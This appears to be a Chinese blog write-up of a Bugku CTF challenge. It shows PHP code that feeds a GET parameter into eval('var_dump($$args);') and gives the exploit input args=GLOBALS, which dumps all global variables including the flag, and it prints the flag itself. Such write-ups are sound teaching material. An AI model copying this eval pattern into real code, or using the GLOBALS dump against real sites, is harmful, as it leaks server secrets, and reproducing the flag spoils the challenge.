Bugku 变量1与全局变量GLOBALS

版权声明:孤 https://blog.csdn.net/Wu000999/article/details/82319921

变量1 http://120.24.86.145:8004/index1.php
解决方法: index1.php?args=GLOBALS

array(7) { [“GLOBALS”]=> RECURSION [“_POST”]=> array(0) { } [“_GET”]=> array(1) { [“args”]=> string(7) “GLOBALS” } [“_COOKIE”]=> array(0) { } [“_FILES”]=> array(0) { } [“ZFkwe3”]=> string(38) “flag{92853051ab894a64f7865cf3c2128b34}” [“args”]=> string(7) “GLOBALS” }


flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

flag in the variable 就说了flag在变量中
error_reporting(0); 关闭报错提示
include “flag1.php”; 此时引入flag1的代码
highlight_file(_file_); 高亮显示
if(isset($_GET[‘args’])) 条件判断 get方法传递的args参数是否存在
若存在然后赋值
preg_match() 函数 — 执行匹配正则表达式
/^开始, \w表示任意一个单词字符,即[a-zA-Z0-9_] ,+将前面的字符匹配一次或多次,$/结尾
die(“args error!”); 输出 args error!
eval(“var_dump($$args);”); 将字符串作为php代码执行结尾加分号
var_dump()函数 显示关于一个或多个表达式的结构信息,包括表达式的类型与
值。数组将递归展开值,通过缩进显示其结构。

$$args 可以理解为$($args)

eval()函数存在命令执行漏洞.

flag In the variable 就说了flag在变量中,所以我们想办法用命令输出变量即可,我们想到构造 php中超全局变量 $GLOBALS
PHP 在名为 $GLOBALS[index]* 的数组中存储了所有全局变量。变量的名字就是数组的键。*
即 .php?args=GLOBALS

eval("var_dump($$args);");    

首先将 var_dump($$args); 当成代码执行 var_dump($GLOBALS);

var_dump()函数将$GLOBALS数组中存放的所有变量以数组的方式输出 得到flag。

猜你喜欢

转载自blog.csdn.net/Wu000999/article/details/82319921